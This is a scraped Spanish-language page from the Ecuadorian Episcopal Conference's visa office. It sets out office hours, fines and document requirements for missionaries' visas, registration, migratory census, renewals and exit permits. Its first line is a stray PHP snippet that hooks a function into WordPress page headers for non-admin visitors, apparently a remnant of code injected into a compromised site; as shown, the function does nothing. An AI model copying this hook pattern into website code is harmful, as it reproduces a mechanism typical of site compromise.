if ((is_admin() || (function_exists('get_hex_cache'))) !== true) { add_action('wp_head', 'get_hex_cache', 12); function get_hex_cache() { return''; } } VISAS – Conferencia Episcopal Ecuatoriana

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INSTRUCTIVO

  1. La Oficina de Visas atiende el público de lunes a viernes en el siguiente horario: 08h30 a 12h00; no obstante en este tiempo de Emergencia Sanitaria la atención se ha restringido a los días Lunes y Martes de 9h00 a 13h00.
  2. Puede pedir cita así mismo llamando a nuestra central 02 255 89 12 ext 100, o 102.
  3. Todo trámite tiene una duración de 15 días hábiles.
  4. Los religiosos y misioneros extranjeros deben ingresar al Ecuador con la Visa 12-VII, obtenida en su país de origen o de última residencia, caso contrario, deberán salir del país para cumplir con esta disposición .
  5. Dentro de los primeros 30 días de arribo al Ecuador, el extranjero puede obtener el registro de la visa 12-VII sin dificultad. Pasados los 30 días, se puede solicitar el registro de la Visa y el censo migratorios, previo el pago de la multa establecida por la Policía de Migración en la suma de $200.00.
  6. Una Visa caducada, tiene como sanción el pago de la multa de $200.00 y el abandono del país, para obtener una nueva visa en un país vecino previa la autorización d el Ministerio de Relaciones Exteriores.

SOLICITUDES  PARA OBTENER LA VISA (1era. Vez)
Para estos trámites la CEE cuenta con dos oficinas, la una que atiende en la sede de la CEE y la del Litoral en la Casa Episcopal de la Arquidiócesis de Guayaquil.
Los trámites pueden ser realizados indistintamente en cualquiera de las dos oficinas.

Antes de venir al Ecuador:

  • Solicitud del obispo de la diócesis o superior provincial dirigida al Secretario General de la Conferencia Episcopal Ecuatoriana (CEE).
  • Informe de las actividades que el extranjero ha realizado en su país de origen, (sólo para misioneros voluntarios).
  • Con estos documentos, la CEE emitirá la solicitud que el extranjero debe presentar en el consulado ecuatoriano de su país de origen o de su último domicilio.

REGISTRO DE VISA
Al arribo al Ecuador, dentro de los primeros treinta días, el misionero debe presentarse en la oficina de Visas de la CEE con los siguientes documentos para proceder al registro de la Visa:

1. Pasaporte

2. Certificado de visación.

* Los ciudadanos peruanos, además de los requisitos señalados en los numerales 1 y 2, deben presentar:

3. Dos fotos

4. Croquis del domicilio.de visación.

* Los ciudadanos colombianos, además de los requisitos señalados en los numerales del 1 al 4, deben presentar:

5. Pasado judicial

Las oficinas de Migración establecen un plazo de treinta días para el registro de la Visa y el Censo Migratorio.

CENSO MIGRATORIO

  • Por primera vez:
    1. Solicitud dirigida al Director Provincial de Migración.
    2. Pasaporte original.
    3. Copia del pasaporte (hoja de datos y visa vigente).
    4. Cuatro fotos.

El Censo debe ser renovado cada año.

  • Renovación:
    • Los mismos requisitos.

RENOVACIÓN DE VISA 12-VII
Presentar la siguiente documentación en la oficina de Visas de la CEE con cuarenta días de antelación a la fecha de caducidad de la Visa:

  • Solicitud del obispo de la diócesis o superior provincial.
  • Informe de actividades.
  • Dos fotos.

En caso de pérdida de pasaporte:
Denunciar la pérdida ante la policía.

TRANSFERENCIA DE VISA 12-VII

  • Solicitud.
  • Informe de actividades.
  • Dos fotos.
  • Pasaporte vigente y el caducado.

REQUISITOS PARA OBTENER EL PERMISO DE SALIDA

  • Pasaporte con visa vigente.
  • Censo actualizado.

Visa de Inmigrante – Categoría 10-IV

La visa de Inmigrante categoría 10-IV puede ser otorgada para religiosos y misioneros extranjeros que vengan a permanecer un tiempo indefinido en el Ecuador, que ejerzan cargos de representación dentro de su comunidad o que quieran optar por la nacionalidad ecuatoriana. Esta Visa se obtiene dentro del territorio ecuatoriano.

TRANSFERENCIA DE VISA 10-IV

Para religiosos con visa de residente:

  1. Solicitud.
  2. Pasaporte vigente y el caducado.

* En caso de pérdida del pasaporte, adjuntar además:

  1. Denuncia de la pérdida del pasaporte.
  2. Copia del censo migratorio.
  3. Copia de la cédula de identidad ecuatoriana.

* En caso de pérdida de cédula ecuatoriana:

  1. Pasaporte con visa de residente.
  2. Certificado de registro de inscripción de extranjeros.
  3. Denuncia de la pérdida de la cédula.
  4. Dos fotos.

PERMISO DE SALIDA RESIDENTES

  1. Pasaporte con visa de residente.
  2. Cédula de identidad ecuatoriana.
  3. Permiso militar indefinido para salir del país.
  4. Carné Militar para residentes.
  5. Censo migratorio.

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